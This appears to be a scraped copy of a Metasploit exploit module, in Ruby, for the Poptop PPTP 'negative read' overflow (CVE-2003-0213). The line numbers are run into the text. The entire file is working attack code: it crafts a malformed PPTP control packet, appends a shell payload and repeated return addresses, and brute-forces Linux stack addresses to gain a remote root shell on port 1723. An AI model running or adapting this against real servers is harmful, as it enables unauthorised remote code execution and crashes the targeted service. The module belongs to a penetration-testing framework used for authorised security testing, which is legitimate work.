Path: blob/master/modules/exploits/linux/pptp/poptop_negative_read.rb
19721 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Remote::Brute1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Poptop Negative Read Overflow',16'Description' => %q{17This is an exploit for the Poptop negative read overflow. This will18work against versions prior to 1.1.3-b3 and 1.1.3-20030409, but I19currently do not have a good way to detect Poptop versions.2021The server will by default only allow 4 concurrent manager processes22(what we run our code in), so you could have a max of 4 shells at once.2324Using the current method of exploitation, our socket will be closed25before we have the ability to run code, preventing the use of Findsock.26},27'Author' => 'spoonm',28'License' => MSF_LICENSE,29'References' => [30['CVE', '2003-0213'],31['OSVDB', '3293'],32['URL', 'https://web.archive.org/web/20210120064041/http://securityfocus.com/archive/1/317995'],33['URL', 'https://web.archive.org/web/20061215104830/http://www.freewebs.com/blightninjas/'],34],35'Privileged' => true,36'Payload' => {37# Payload space is dynamically determined38'MinNops' => 16,39'StackAdjustment' => -1088,40'Compat' => {41'ConnectionType' => '-find'42}43},44'SaveRegisters' => [ 'esp' ],45'Platform' => 'linux',46'Arch' => ARCH_X86,47'Targets' => [48[49'Linux Bruteforce',50{51'Bruteforce' => {52'Start' => { 'Ret' => 0xbffffa00 },53'Stop' => { 'Ret' => 0xbffff000 },54'Step' => 055}56}57],58],59'DefaultTarget' => 0,60'DisclosureDate' => '2003-04-09',61'Notes' => {62'Stability' => [CRASH_SERVICE_DOWN],63'SideEffects' => [IOC_IN_LOGS],64'Reliability' => [REPEATABLE_SESSION]65}66)67)6869register_options(70[71Opt::RPORT(1723)72]73)7475register_advanced_options(76[77OptInt.new('PreReturnLength', [ true, 'Space before we hit the return address. Affects PayloadSpace.', 220 ]),78OptInt.new('RetLength', [ true, 'Length of returns after payload.', 32 ]),79OptInt.new('ExtraSpace', [80true,81'The exploit builds two protocol frames, the header frame and the control frame. ' \82'ExtraSpace allows you use this space for the payload instead of the protocol (breaking the protocol, but still triggering the bug). ' \83"If this value is <= 128, it doesn't really disobey the protocol, it just uses the Vendor and Hostname fields for payload data " \84"(these should eventually be filled in to look like a real client, ie windows). I've had successful exploitation with this set to 154, but nothing over 128 is suggested.",85086]),87OptString.new('Hostname', [ false, 'PPTP Packet hostname', '' ]),88OptString.new('Vendor', [ true, 'PPTP Packet vendor', 'Microsoft Windows NT' ]),89]90)91end9293# Dynamic payload space calculation94def payload_space(_explicit_target = nil)95datastore['PreReturnLength'].to_i + datastore['ExtraSpace'].to_i96end9798def build_packet(length)99[length, 1, 0x1a2b3c4d, 1, 0].pack('nnNnn') +100[1, 0].pack('cc') +101[0].pack('n') +102[1, 1, 0, 2600].pack('NNnn') +103datastore['Hostname'].ljust(64, "\x00") +104datastore['Vendor'].ljust(64, "\x00")105end106107def check108connect109sock.put(build_packet(156))110res = sock.get_once111112if res && res =~ /MoretonBay/113return CheckCode::Detected114end115116CheckCode::Safe117end118119def brute_exploit(addrs)120connect121122print_status("Trying #{'%.8x' % addrs['Ret']}...")123124# Construct the evil length packet125packet =126build_packet(1) +127payload.encoded +128([addrs['Ret']].pack('V') * (datastore['RetLength'] / 4))129130sock.put(packet)131132handler133disconnect134end135end136137138